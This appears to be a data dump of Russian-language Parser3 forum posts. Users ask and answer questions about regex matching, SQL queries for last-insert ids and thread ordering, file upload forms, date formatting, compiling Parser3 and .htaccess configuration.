"40972","[code]^time.match[0?([12]?\\d):0?([1-5]?\\d):0?([1-5]?\\d)][i]{$match.1 ч $match.2 мин $match.3 сек}[/code]"
"40975","http://www.parser.ru/forum/?id=40935"
"40976","[code]^time.match[0?(\\d+):0?(\\d+):0?(\\d+)][]{$match.1 часов $match.2 минут ($match.3 секунд)}[/code]"
"40978","Мы оба вносили исправления в пост с регэкспом и разница между датой добавления и датой исправления — две минуты :)"
"40979","Так как полученные из столбцов типа DATETIME и TIME значения не могут содержать минут и секунд больше 59, а часов больше 23. То есть мой пример для данной задачи BeaVe излишен :-)"
"40981","когда я придумывал этот велосипед, то вклеивал в главный шаблон XSL с помощью DOM шаблоны блоков из которых состоит страница. В форуме тогда спрашивал помощи, PAF тогда выручил.\
http://www.parser.ru/forum/?id=31723\
\
Но вот только сами xsl файлы хранил не в БД и на диске. В БД имхо это мухи с котлетами.\
\
А про сам xml, так его можно миллионом способов объединять, а лучше генерить сразу целиковый кусок."
"40982","http://www.parser.ru/docs/lang/filefind.htm"
"40983","[quot]\
здесь собрались не только программисты\
[/quot]\
\
знаю. я - не программист. это не мешает мне прежде чем спрашивать что-либо, предварительно поискать ответ самому. и кстати документацией по парсеру я пользуюсь не один раз в день. поиском по форуму - тоже.\
\
[quot]\
Раз мне никто ничего не дал, то и я буду всегда поступать так же\
[/quot]\
\
вы говорите про себя. это ваш выбор.\
они кстати приводят код в ответ на вопросы по которым видно что человек сам уже приложил руку/голову. и лично я рад что на вопросы, ответы на которые элементарно могут быть найдены в документации/фак, они не отвечают.\
\
[quot]\
зачем вы (создатели и первые пользователи парсера) заходите на этот форум и \"пишете ответы\" (умышленно не пишу \"отвечаете\")?\
[/quot]\
\
\"Обидные вы слова говорите папаша!\" (с) Шариков П.П. =)\
в топ авторов ткните в ПАФ-а и посмотрите ответы. потом в меня и далее по списку. я не утверждаю, что мы не отсылаем читать ФАК/документацию когда это уже не раз обсуждалось и там есть, но что не отвечаем... ну и если вдруг станет интересно проведите небольшой анализ вопросов: на что и как спрошенное отвечают и с чем посылают.\
\
в общем конечно-же вам решать. удачи."
"40985","Есть такая задачка. Довольно сложный запрос из нескольких таблиц. Без Left Join, но проверяющий много условий. Результат в таблицу. \
Затем таблица перебирается через menu, выводятся результаты. Это все нормально. Но хочется для каждого элемента сделать ссылку на предыдущий, последующий, т.е. во время обработки очередного элемента menu иметь значение одного из столбцов (id) соседних элементов. Id +/-1  - не подходит. Очень не хотелось бы писать дополнительные запросы, боюсь будет слишком долго из-за условий. Есть идеи, наработки как это сделать?\
И такая же фигня с последним. Запрос, перебор через menu. Последний элемент надо обработать иначе чем остальные. Как понять что он последний? В принципе можно сначала посчитать сколько всего элементов в таблице через ^table.count[], а в меню ставить счетчик и сравнивать его с ^table.count[], но мне кажется это не лучшим решением. Особенно учитвая скроллер."
"40987","Никак у меня не получается использовать несколько регурярных выражений за один раз :( Чтобы и ссылки правильно выставлялись и цвет шрифта менялся.... Замутила такую конструкцию\
[code]\
#вывод новости\
^news.menu{\
 <p>^untaint[as-is]{\
	^if(def $news.title){<b>$news.title</b><br>}\
	<font color=\"#808080\">$news.date</font><br>\
\
        $repl[^table::load[repl.cfg]]\
        $result[$news.body]\
    ^repl.menu{\
	^if(def $repl.rep1){\
	$result[^result.match[$repl.rep1][$repl.rep2]{^process{^taint[as-is][$repl.rep3]}}]\
        }\
    }\
$result\
\
 }</p>\
}\
[/code]\
\
существует cfg'шник repl.cfg со всеми необходимыми мне заменами\
rep1    rep2     rep3\
\\[(url)=(\"?)(.{9,}?)\\2\\](.+?)\\[/\\1\\]	gi	<a href=\"${match.3}\">${match.4}</a>\
\\[(color)=(\"?)([^^\"]+?)\\2\\](.+?)\\[/\\1\\]	gi	<font color=\"${match.3}\">${match.4}</font>\
\\[([biu])\\](.+?)\\[/\\1\\]	gi	<$match.1>$match.2</$match.1>\
\
\
Работает как-то странно, почему-то теряется дата и заголовок новости. Помогите, а? Голову уже сломала."
"40988","[code]@replace_metod[_income][income]\
	$income[$_income]\
	$income[^income.match[\\n][g]{<br />}]\
	$income[^income.match[\\[([biu])\\](.+?)\\[/\\1\\]][gi]{<$match.1>$match.2</$match.1>}]\
	$result[$income]\
[/code]"
"40989","http://www.parser.ru/docs/lang/tableline.htm"
"40990","Так работает:\
[code]\
^news.menu{\
  <p>\
  ^untaint[as-is]{\
    ^if(def $news.title){<b>$news.title</b><br>}\
    <font color=\"#808080\">$news.date</font><br>\
    $repl[^table::load[repl.cfg]]\
    ^repl.menu{\
      ^if(def $repl.rep1){\
        ^news.body.match[$repl.rep1][$repl.rep2]{^process{^taint[as-is][$repl.rep3]}}\
      }\
    }\
  }\
  </p>\
}\
[/code]\
\
На вопрос «Почему?» ответ в документации:\
http://www.parser.ru/docs/lang/definemethod.htm\
(почитайте про системную переменную $result)"
"40991","В этом варианте тело новости выводится несколько раз, видимо после каждой обработки."
"40992","Да, так и есть. Мой косяк, не доглядел. Вы прочитали про result?.. Тогда все должно было быть уже понятно :) Если не прочитали, то посмешите прочесть.\
\
Еще один рабочий код (исправленный)\
[code]\
^news.menu{\
  <p>\
  ^untaint[as-is]{\
    ^if(def $news.title){<b>$news.title</b><br>}\
    <font color=\"#808080\">$news.date</font><br>\
    $repl[^table::load[repl.cfg]]\
    $body[$news.body]\
    ^repl.menu{\
      ^if(def $repl.rep1){\
        $body[^body.match[$repl.rep1][$repl.rep2]{^process{^taint[as-is][$repl.rep3]}}]\
      }\
    }\
    $body\
  }\
  </p>\
}\
[/code]"
"40993","Прочитала доку про $result, я поняла почему я получала не то что хотела, спасибо :)"
"40994","оптимален ли он? Может есть что-то более элегантное? \
И что на счет последнего элемента? Нельзя получить флаг \"последности\" от MySQL?"
"40996","Задача: \
Нужно взять некий html документ из интернета и вытащить из него все ссылки.\
\
попробовал так:\
[code]\
@main[]\
# берем файл\
$web_page[^file::load[text;http://www.parser.ru/]]\
<hr> \
<pre>$web_page.text</pre>\
<hr>\
Найденные ссылки:\
<hr>\
$html[$web_page.text]\
$links[^html.match[<a(.+)>(.+)</a>][']]\
^links.menu{\
	$links.match\
}[<br/>]\
[/code]\
\
так не годится, он так ловит все между первым открытым <a> и последним закрытм </a>\
\
или я чет не так думаю?"
"40999","...в случае если версия MySQL >= 4 можно использовать его фичу [url=\"http://dev.mysql.com/doc/mysql/ru/Miscellaneous_functions.html#IDX1334\"]FOUND_ROWS()[/url] \
\
P.S. я её [url=\"/forum/?id=30213\"]использовал[/url]"
"41002","понравилось"
"41006","Без этой фунции была бы грабля со скроллером. Т.е. каждая страница - в таблицу. Там находим через ^table.count[] последнюю строку и на каждую страницу своя последняя, что не есть правильно. \
Теперь разобрался как обойтись без дополнительных записей в базу. \
Благодарю!"
"41007","Спасибо за разъяснение. После обращения в службу поддержки они выложили бинарник zip в мой домашний каталог. \
\
Видимо, по каким-то неведомым мне соображениям (чтобы клиеты собрания архивных файлов на сайтах не держали?) не хотят предоставлять эту возможность каждому встречному-поперечному.\
\
Или есть какие-то угрозы безопасности, связанные с использованием zip?"
"41008","где можно посмотреть новый?"
"41011","В админской части сайта решила сделать для менеждера по персоналу возможность выкладывать свои документы на сайт через форму соответственно.\
\
[code]\
<form action=\"regulations.html\" method=\"get\" enctype=\"multipart/form-data\">\
<table width=\"80%\" border=\"0\" align=\"LEFT\">\
<tr>\
	<td align=\"right\">Заголовок:</td>\
	<td><input type=\"Text\" name=\"title\" size=\"60\"></td>\
</tr>\
<tr>\
	<td align=\"right\">Пояснительный текст:</td>\
	<td><textarea cols=\"50\" name=\"body\" rows=\"5\"></textarea></td>\
</tr>\
<tr>\
	<td align=\"right\">Прикрепить файл:</td>\
	<td><input type=\"File\" name=\"upload\"></td>\
</tr>\
</table>\
</form>\
[/code]\
\
С толкнулась вот с чем. Мне необходимо получить номер последней вставленной записи в БД для того, чтобы дать значение в качестве уникального имени сохраняемому через форму файлу.\
\
т.е. идея в том что например\
id title body\
1  ffff \
2  bbb \
3  nnn\
4  mmm\
\
каждой записи будет соответствовать файл ${id}.doc\
\
На MySQL есть классная SELECT LAST_INSERT_ID() и проблем нет.\
Но здесь у меня MS SQL и вот какой казуз\
\
[code]\
^dbc{\
	^void:sql{\
	  	INSERT\
		INTO\
			docs\
         	(title, body, type_id)\
      	VALUES \
         	('$form:title', '$form:body', '$form:type_id')\
	SELECT @@IDENTITY AS 'Identity'\
\
      }\
\
}\
\
[/code]\
\
Получить значение последнего уникального значения можно только так... а ^void:sql не возращает значения.... ТУПИК..."
"41012","MySQL 4.0.13 (т.е. вложенные запросы не поддерживаются). Изменить версию разумными способами нельзя.\
\
Суть задачи. Есть таблица, структура такая\
\
thread_id\
post_id\
post_date\
...\
\
Идея такая. форум. Плоский. т.е. тема и ответы на нее. В thread_id хранится id всей темы и такой же id у всех деток. У родителя post_id = thread_id. \
\
Надо отобрать всех родителей. НО отсортировать по самой старшей дате из всех детей. С вложенным запросом было бы просто, но как быть без такового? \
Наверняка сталкивались. Подскажите, пожалуйста, если есть идеи."
"41014","думаю поле post_date спасет. И детей трогать не надо. \
Если вы хотите организовать так же, как в phpBB, т.е. последний обнавленный пост торчит на самом верху. То тут можно обойтись update_date вместо post_date... или я не понял? ))"
"41017","Да. Типа как phpBB. все верно. \
Но не хотелось бы добавлять еще одно поле типа даты обновления. \
При удалении ребенка, админом например, надо будет обновлять значение этого поля на post_datе последнего на тот поменет ребенка. И будет слишком много или пустых ячеек в таблице, или заполненных ненужными данными. ведь и корневые и детские сообщения хранятся в одной таблице."
"41018","Можно конечно одним запросом достать даты обновлений, вторым остальные данные по корням треда. Объединить таблицы и отсортировать по дате обновления. Но мне такой подход представляется извращением. Ж... носом чую, должно быть более красивое решение."
"41019","Для плоского форума запись должна сдержать лишь собственный ID и ID родителя.\
\
Для решения задачи используете псевдонимы для таблиц (AS), чтобы выбрать из одной и той же таблицы, как из двух разных (_родители_ и _дети_).\
\
[code]...FROM forum AS parent,forum AS child WHERE parent.id=child.parent_id...[/code]\
\
Дальше рассказывать или сами дойдете? :-)"
"41020","[code]\
^void:sql{insert...}\
$id(^int:sql{})\
[/code]"
"41021","Проблема в том, что SELECT @@IDENTITY  нельзя вызвать отдельно от INSERT\
[code]\
\
	  INSERT\
	  INTO\
		docs\
         	(title, body, type_id)\
      	  VALUES \
         	('$form:title', '$form:body', '$form:type_id')\
	  SELECT @@IDENTITY AS 'Identity'\
\
[/code]"
"41023","Я с тобой полностью согласен, но хотел добавить:\
[quot]Если человек никогда не слышал о классах и объектах и просит объяснить, как создавать объект класса... как тут быть?[/quot]\
Я бы написал ссылки на материалы для чтения.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"41024","Тот запрос, кусок которого я здесь привел, на моей локальной машине выполняется около 1 сек, а простая сортировка по полю upd_date — примерно 0,5 сек. Делайте выводы.\
\
[i]Выборка из 2500 записей, индексы куда надо расставлены[/i]"
"41025","похоже индексы-таки не расставлены как надо.\
\
использую на живом сайте (дать ссылку не могу, форум закрытый). больше 25000 сообщений и тормозов, о которых упоминаете вы - нет, хотя по сравнению с запросами без join естественно все работает медленно."
"41027","http://www.artlebedev.ru/studio/us/i/p/5d06f930553ce05f.jpg\
Всем запомнить это лицо. При встрече здороваться и говорить спасибо :)"
"41028","Все вроде отлично. Проверила, в $id заносится значение, но почему файл не хочет сохраняться на диск, не понимаю, $form:upload тоже передается....\
\
Unhandled Exception и никаких гвоздей :(\
\
[code]\
^if(def $form:title && def $form:type_id){\
  ^dbc{\
	^void:sql{\
	  	INSERT\
		INTO\
			docs\
         	(title, body, type_id)\
      	VALUES \
         	('$form:title', '$form:body', '$form:type_id')\
     }    \
		$id[^int:sql{SELECT @@IDENTITY}[$.limit(1) $.offset(0) $.default{0}]]\
		^if(def $form:upload){\
			^form:upload.save[binary;/temp/${id}.jpg]\
		}\
	\
  }\
}\
[/code]\
\
Проблему вызывает именно\
[code]\
	^if(def $form:upload){\
	^form:upload.save[binary;/temp/${id}.jpg]\
	}\
[/code]"
"41029","А собственно так оно и есть.\
thread_id = ID родителя. \
post_id = Собственный ID.\
\
За идею спасибо. Сейчас попробую. Надеюсь не затуплю ))"
"41031","появления примочки к Parser, для работы с сокетом.\
Столько идей не реализованных висит... :)"
"41036","а почему бы самой администрации сайта parser.ru не сделать бесплатный хостинг для зареганых юзеров, было бы очень хорошо.\
Powered by Dmitriy Yurshin aka Shtirliz\
Fido: 2:5007/11.205\
E-mail: shtirliz-hacker@mail.ru\
-=-=-=-=-\
FidoNet Rulezz 4ever"
"41038","а почему-бы зарегистрированным пользователям не сброситься ПАФ-у на машину? думаю тоже было-бы очень хорошо. :)"
"41039","хорошо прицелиться... и с этажа эдак с 16-го... ШМЯК\
вот гора получится! всетаки больше тысячи человек...\
гыыыыы"
"41040","При корректных условиях тестирования, сложный запрос выполнялся 0,0219 сек, простой — 0,0082 сек."
"41041","У меня вопрос есть ли возможность в БД заносить картинки например jpeg если есть то какой у них тип и как сделать кнопку обзор чтобы найти и добавить файл?"
"41043","Тут наткнулся на сообщение что лучше хранить файлы на диске а не в БД. Так все таки где лучше мне кажется в БД было бы удобнее но не загрузит ли это ее?"
"41044","И не знаю, чем может быть удобно хранение файлов в БД."
"41045","В Мишином примере в файле скроллер.p описаны два типа скроллера???"
"41046","#####\
### Удаление новости\
\
#начало обработки\
^connect[$connect_string]{\
		$news_select[^table::sql{\
			SELECT\
				id, date, header, body\
			FROM\
				news\
			ORDER BY\
				date\
		}]\
\
		^if(def $form:del_news){\
			^void:sql{\
				DELETE FROM\
					news\
				WHERE\
					id = '$news_select.id'\
			}\
		}\
\
		^if($news_select){\
			<form method=\"POST\">\
			<table>\
				<tr align=\"center\">\
					<td><b>Удалить</b></td>\
					<td><b>Дата</b></td>\
					<td><b>Заголовок</b></td>\
					<td><b>Текст</b></td>\
				</tr>\
				^news_select.menu{\
					<tr>\
						<td><input type=\"radio\" name=\"radio\" value=\"$news_select.id\"></td>\
						<td><nobr>$news_select.date</nobr></td>\
						<td>^untaint{$news_select.header}</td>\
						<td>^untaint{$news_select.body}</td>\
					</tr>\
				}\
			</table>\
			<p><center><input type=\"submit\" value=\"Удалить\" name=\"del_news\"></center>\
			</form>\
	}\
}\
\
#####\
### end Удаление новости"
"41047","Давайте прикинем. Машину ПАФу надо брать новую и приличную. Ну где-то от 25...30 тонн у.е. 1000 зарегистрированных пользователей на форуме. ^eval(30000/1000) - это по 30 у.е всего. В переводе на нац.валюту это 1000р. с носа получится. Я лично поддержу - дело действительно хорошее.\
\
Не вопрос!\
\
ЗЫ. А если кто не будет скидываться - отключим ему возможность... читать форум. Сможет только писать и задавать вопросы. А вот увидеть ответы - только после того как поддержит хорошее начинание ;)"
"41048","В базу помещают информацию в которой надо быстренько что-то найти, а найдя ещё и обработать зачастую. Это могут быть: названия пунктов меню сайта, реквизиты зарегистрированных пользователей сайта или форума, треды форумов, списки товарных позиций прайс-листов и т.п. Информация же в файлах .jpeg, .gif, .png etc. не систематизирована и искать в ней какие-либо последовательности цифр вряд-ли кому понадобится когда. Имена файлов - да, может быть, но сами файлы - нет смысла."
"41049","\"А если кто не будет скидываться - отключим ему возможность... читать (через ампутацию). Сможет только писать и задавать вопросы. А вот увидеть ответы... увы\
гыыыыыы"
"41050","в вашем коде input-radio называется radio\
[code]<input type=\"radio\" name=\"radio\" value=\"$news_select.id\">[/code]\
\
поэтому исправляем...\
[code]^if(def $form:del_news){\
^void:sql{\
DELETE FROM\
news\
WHERE\
#id = '$news_select.id'\
id = '$form:radio'\
}\
}[/code]\
и лучше SELECT и DELETE поменять местами чтобы после удаления уведеть что это произошло :-)"
"41051","посмотрите, что написано над ссылкой \"Еще один вариант текстового скроллера\"..."
"41052","Создал кнопку обзор для загрузки файов с локальной машины но теперь нужно создать программу которая обработала бы эти данные подскажите конкретно нужно загрузить картинку и сохранить ее в какой нибудь папке???"
"41053","на главной создал такой код:\
<form\
method=\"post\"\
action=\"/send.html\"\
enctype=\"multipart/form-data\"\
>\
<input type=\"file\" name=\"attach\" /><br />\
\
<input type=\"submit\" name=\"action\" value=\"Отправить\" />\
</form>\
\
А в send.html написал\
@send[]\
^if($form:attach is \"file\"){\
^archive.save[binary;/map/test.jpg]}\
\
То есть по идеи он должен сохранить файл в папке map под именем test.jpg а ниче там нет? Объясните дураку!"
"41054","Как задать универсальное имя тоесть допустим мы с помощью кнопки обзор загружаем файл а он сохраняется на диск со своим же именем????"
"41056","Как можно получить абсолютный путь к файлу от дискового пространства(не веб пространства).\
\
[code]^filename.save[binary;/catalogue.txt][/code]\
\
Сначала мы сохраняем его, в коренной папке веб пространства, а потом нужно получить его абсолютный путь.\
\
\
\
Семин Кирилл Вячеславович, dmx102\
_______________________________________________\
[url=\"mailto:mailbox@dasshoes.ru\"]mailbox@dasshoes.ru[/url] | [url=\"http://www.dasshoes.ru\"]Немецкая обувь[/url] | ICQ#[url=\"http://wwp.icq.com/scripts/contact.dll?msgto=207308745\"]207308745[/url]"
"41058","1) поискать на форуме тред по этому вопросу\
2) в базе хранить имя картинки, хотя в ряде случаев я делал еще проще - при сохранеии инфы в базе дергал id записи и так именовал картинку - не хранил даже имя, при редактировании и удалении - стало удобней.\
есть еще другой пусть: генерить uuid и давать его как id объекта и как имя каталога для всех файлов этого объекта\
3) у спектатора тоже был тред на эту тему(если что)\
4) ИМХО такое: если хост-сервак проекта не на 4-х оптеронах + 8 гигов RAM - нет смысла хранить картинки в базе ибо ляжет и будет ложиться"
"41061","[code]\
^if($test eq 'test'){строка равна}{строка не равна}\
[/code]\
Можно сделать наоборот? Т.е.:\
[code]\
^if(...){строка не равна}{строка равна}\
[/code]"
"41064","Но можно:\
[code]^if(!($test eq 'test')){строка не равна}{строка равна}[/code]\
:-)"
"41068","Вот это меня и интересовало!"
"41069","Имеется:\
ASP Linux 7.3\
gcc version 3.3.4\
glibc-2.3.4\
Apache 1.3.33\
Parser 3.1.4\
[quot]\
./configure --prefix=/opt/parser --host=i686-pc-linux-gnu --with-static-gc=$HOME/gc/lib \\\
--with-mysql-client=/usr/lib/mysql/libmysqlclient.so \\\
--with-sendmail=/usr/sbin/sendmail --disable-safe-mode\
[/quot]\
Из шелла работает все нормально, однако, при запуске из apache, вылетает с ошибкой:\
[quot]\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, xxx@xxx.xx and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the server error log.\
[/quot]\
в лог пишет следующее:\
[quot]\
parser3.cgi: error while loading shared libraries: libcrypt.so.1: failed to map segment from shared object: Cannot allocate memory\
[Sun Jun  5 15:38:36 2005] [error] [client xxx.xxx.xxx.xxx] Premature end of script headers: /www/cgi-bin/parser3.cgi\
[/quot]\
ссылки libcrypt.so.1 на библу лежат как им и полагается в /usr/lib/ и /lib/\
что делать, ума не приложу :(\
Кстати:\
[quot]\
$ ldd parser3.cgi\
libdl.so.2 => /lib/libdl.so.2 (0x4001a000)\
libcrypt.so.1 => /lib/libcrypt.so.1 (0x4001e000)\
libm.so.6 => /lib/i686/libm.so.6 (0x40062000)\
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)\
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)\
[/quot]"
"41071","Для совместной работы. Мне куда удобнее найти людей из Находки, Владивостока, или даже Хабаровска для делового предложения по разработке какого-то проекта..."
"41072","Спасибо! Это то, что я спрашивал...\
\
[i]\"Лучше поздно, чем никогда\". (с) неизвестный[/i]"
"41074","Здравствуйте.\
Наткнулся на такую ошибку.\
\
Вариант 1.\
Код на Парсере\
\
[code]<table width=\"70%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" align=\"center\" style=\"font-size: xx-small; float: none\">\
^basicsearch.menu{\
	<tr bgcolor=\"#efefef\">\
		<th>Наименование</th><th>Цена с НДС</th><th>Ед. Изм</th></tr>\
	<tr>\
		<td nowrap><strong>$basicsearch.namet</strong> / Размер1 - $basicsearch.par1 / Размер2 - $basicsearch.par2 / ^if($basicsearch.par1!=0){Размер3 - $basicsearch.par3 /} $basicsearch.mat / $basicsearch.com </td><td>$basicsearch.cena</td><td>$basicsearch.edizm</td></tr>\
	<tr bgcolor=\"#efefef\">\
		<th>Фирма</th><th>Телефон</th><th>Город</th><th>Ограничение по партии</th></tr>\
	<tr><td><a href=\"/service/firms.html?idf=$basicsearch.idf\">$basicsearch.namef</a></td><td>$basicsearch.teln</td><td>$basicsearch.gor</td><td>$basicsearch.ogr</td></tr>\
		}\
</table>[/code]\
\
В браузере\
[code]<table width=\"70%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" align=\"center\" style=\"font-size: xx-small[/code]\
\
т.е. после ; все оборвалось\
\
Вариант 2.\
Код на Парсере\
\
[code]<table width=\"70%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" align=\"center\" style=\"font-size: xx-small float: none\">\
^basicsearch.menu{\
	<tr bgcolor=\"#efefef\">\
		<th>Наименование</th><th>Цена с НДС</th><th>Ед. Изм</th></tr>\
	<tr>\
		<td nowrap><strong>$basicsearch.namet</strong> / Размер1 - $basicsearch.par1 / Размер2 - $basicsearch.par2 / ^if($basicsearch.par1!=0){Размер3 - $basicsearch.par3 /} $basicsearch.mat / $basicsearch.com </td><td>$basicsearch.cena</td><td>$basicsearch.edizm</td></tr>\
	<tr bgcolor=\"#efefef\">\
		<th>Фирма</th><th>Телефон</th><th>Город</th><th>Ограничение по партии</th></tr>\
	<tr><td><a href=\"/service/firms.html?idf=$basicsearch.idf\">$basicsearch.namef</a></td><td>$basicsearch.teln</td><td>$basicsearch.gor</td><td>$basicsearch.ogr</td></tr>\
		}\
</table>[/code]\
\
В браузере\
\
[code]<table width=\"70%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" align=\"center\" style=\"font-size: xx-small float: none\">\
<tr bgcolor=\"#efefef\">\
<th>Наименование</th><th>Цена с НДС</th><th>Ед. Изм</th>\
</tr>\
<tr>\
<td nowrap><strong>Квадрат</strong> / Размер1 - 1 / Размер2 - 2 / Размер3 - 3 / сталь20 / Коментарий2 </td>\
<td>500</td>\
<td>метр</td>\
</tr>\
<tr bgcolor=\"#efefef\">\
<th>Фирма</th><th>Телефон</th><th>Город</th><th>Ограничение по партии</th>\
</tr>\
<tr>\
<td><a href=\"/service/firms.html?idf=7\">Одл</a></td>\
<td>8-3512-4536643</td>\
<td>Тюмень</td>\
<td>да</td>\
</tr>\
</table>[/code]\
\
Получается что ; влияет на выполнение кода Парсер?"
"41075","; - служебный символ\
используй ^;\
другими словами - http://www.parser.ru/docs/lang/?stringlit.htm"
"41076","$news.header.id(2) ничего не показывает\
как мне обратится ко второму элементу?"
"41077","если звездам будет нужно, то они сами исправят свой код..."
"41087","Тем что их можно удалить, а хоЦа чтоб навсегда юзера засечь"
"41089","вообще ';' расценивается парсером, как конец параметра в методе, например ^if(...){1[b];[/b]0} eq ^if(...){1[b]}{[/b]0}\
\
PS сейчас ПАФ меня поправит :)"
"41090","я бы еще сделал в заголовках [code]^title.match[!{2,}][g]{!}[/code]"
"41096","где-то в нем мелкомягкие прячут mac :)"
"41101","Можно как-нибудь получить список (хеш, таблицу) всех переменных задействованных в программе желательно с разбивкой по классам? Например, аналогично тому как это сделано в PHP (хеш GLOBALS, кажется)."
"41104","сделать можно легко, однако зачем?"
"41105","Есть много кода. Не всегда удачно написанного. В частности не редка ситуация когда локальная (по смыслу) переменная не указана в числе локальных переменных функции, следовательно при вызове метода память под неё выделяется, а после выполнения метода - не освобождается. Стоит задача: код проанализировать и подобные ситуации исправить. Возможность получить все переменные могла бы здорово помочь при анализе."
"41106","что такое сборка и как ее выполнить. что такое команда configure? куда эту команду командовать?\
\
всем привет."
"41107","./configure - это обычно для Linux'а, чтобы подготовить (сконфигурировать) программу."
"41108","Не пойму, [b]^dtf:format[%d %h %Y г.;2005-04-06;$dtf:rr-locale][/b] возвращает [b]06 Апреля 2005 г.[/b] и [b]^dtf:format[%d %h %Y г.;2005-4-6;$dtf:rr-locale][/b] возвращает тоже самое. Тогда как сделать [b]6 Апреля 2005 г.[/b]?"
"41110","Есть простая задача:\
страницы сайта открывают пользователи, я узнаю их IP и записываю в базу.\
Есть база с IP по странам.\
\
потом смотрим кто был:\
\
SELECT\
  title\
FROM\
  users, countries\
WHERE\
  users.ip >= countries.from AND\
  users.ip =< countries.to AND\
GROUP BY\
  title\
\
проблема: MySQL при количестве пользователей > 1000 обрабатывает этот запрос непростительно долго\
в базе IP адресов их больше 50000\
\
есть ли пути ускорить процесс?\
а то несолидно получается."
"41111","Есть код который генерит следующую форму:\
[code]\
<input type=\"file\" name=\"fl1\" size=\"16\" />\
<input type=\"file\" name=\"fl2\" size=\"16\" />\
...\
<input type=\"file\" name=\"fln\" size=\"16\" />\
[/code]\
А при попытке это сохранить используя \
[code]\
^for[k](1;n){\
^form:fl[$k][...]\
}\
[/code]\
ничего не получается...\
Я читал про $form:fields, но тоже не получилось..."
"41116","Пытаюсь подключить parser на nik.ru\
скопировал parser3.cgi в cgi-bin\
в htaccess прописал путь /cgi-bin/parser3.cgi\
выдается ошибка\
403 Forbidden \
You don't have permission to access /cgi-bin/parser3.cgi/index.html"
"41120","[code]\
@up[str]\
$gb[^str.mid(0;1)]\
^gb.upper[]^str.mid(1)\
\
@ob[str;cols]\
^if(def $cols){$col($cols)}{$col(10)}\
$parts[^str.split[ ;lv]]\
^if(^parts.count[] > $col){\
	^parts.menu{\
		^if(^parts.offset[] < $col){\
	 		^if(^parts.offset[] eq 0){\
				^up[$parts.piece]\
				}{\
				$parts.piece}\
		 }}...\
}{\
^up[$str]\
}[/code]"
"41121","Ищу бесплатный хостинг для школьного сайта с поддержкой Parser3..."
"41124","Изменил 290 строку на\
[code]\
	^case[d]{^date.day.format[%01d]}\
[/code]"
"41125","Кусок [url=\"http://www.parser.ru/examples/cdate/\"]вот отсюда[/url]\
\
[code]\
# Разбираем строку регулярным выражением, если не разбирается - ошибка по формату\
			$tmp[^string_date.match[^^\\s*(?:(\\d{4,5})(?:\\s*^$|(?:-(\\d{1,2})(?:\\s*^$|(?:-(\\d{1,2}))))))?(?:\\s*^$|(?:\\s+|^^)(?:(\\d{1,2})(?::(\\d{1,2})(?::(\\d{1,2})(?:\\.(\\d{1,3}))?)?)?\\s*^$))][']]\
			^if(!def $tmp.match){^throw[cdate:create;invalid_date_format;'$string_date' is not valid date]}\
\
# Раскидываем по переменным\
			$year(^tmp.1.int($nowdate.year))\
			$month(^if(def $tmp.2){^tmp.2.int(1)}{^if(def $tmp.1){1}{$nowdate.month}})\
			$day(^if(def $tmp.2){^tmp.3.int(1)}{^if(def $tmp.1){1}{$nowdate.day}})\
			$hour(^tmp.4.int(0))\
			$minute(^tmp.5.int(0))\
			$second(^tmp.6.int(0))\
			$ms(^tmp.7.int(0))\
[/code]\
\
разбирает все варианты, которые разбирает Parser-овский ^date::create[]."
"41127","Может быть индексирование как-нибудь поможет... Или допустим разбиение по категориям. А если SELECT делать не всего, а частями с разбиением по страницам?"
"41128","Вносить изменения в класс не нужно — не удобно будет обновлять класс.\
\
Вы вот так пробовали (ну все ведь в исходниках ясно):\
\
[code]\
^dtf:format[%e %h %Y г.;2005-04-06;$dtf:rr-locale]\
[/code]"
"41131","Почему у вас запрашивается страница /cgi-bin/parser3.cgi/index.html\
\
Естественно к ней доступа не будет. Ее и самой-то нету :)\
\
Приведите пожалуйста свой .htaccess, вероятно ошибка в нем."
"41133","[code]\
	^case[e]{$date.day}\
	^case[d]{^date.day.format[%02d]}\
[/code]"
"41135","Странно, а по теме что отвечать никто не хочет?"
"41140","Текст .htaccess:\
\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
RewriteEngine On"
"41141",";)"
"41142","очевидно, что-то не заладилось с этой библиотекой.\
если нет возможности её upgrade/downgrade, то можно радикально:\
\
\
можете просто отрезать от parser кусок.\
[code]\
^math:crypt[...]\
[/code]\
вам нужен?\
\
если нет, выкиньте из math.C строку, содержащую \"crypt.h\", функцию _crypt, и строку, содержащую \"(crypt)\".\
\
после чего из команды компоновки уберите -lcrypt и скомпонуйте."
"41144","И еще, специально для тебя, Алексей:\
Количество сообщений в форуме != показатель доступности всевозможной информации.\
Поэтому прекращай задавать глупые вопросы! :-) Искать потом нужное по форуму тяжелее."
"41145","в примере — прямо ваш случай."
"41146","[code]\
$news[^table::create{id	...\
1	...\
2	...\
n	...}]\
$id(2)\
\
$news_hash[^news.hash[id]]\
\
^news_hash.[$id].menu{\
	...\
}\
[/code]\
\
http://www.parser.ru/docs/lang/table2hash.htm"
"41147","чтобы идущие следом увидели, как вы мучались, но сумели?"
"41148","сюрприз: при выходе из метода память под локальную переменную не освобождается сразу [b]никогда[/b]. \
http://www.parser.ru/docs/lang/memorycompact.htm"
"41149","в своё время я очень сопротивлялся введению в язык $form:fields\
\
все тогдашние аргументы в силе, если любопытно, найдите и почитайте.\
\
тогда меня убедили, нашли подкоп: описали разумный пример применения.\
\
\
тут же — уверен, наличие этой возможности не упростит, а [b]усложнит[/b] анализ кода.\
кто-нибудь [i]добрый[/i] наверняка напишет:\
\
[code]\
^if(^былаЛиПеременная($левоеВычисляемоеИмя)){левые действия}\
[/code]\
\
разобраться в подобном бреде будет очень трудно."
"41151","как это делают?"
"41154","http://www.parser.ru/forum/?id=41162"
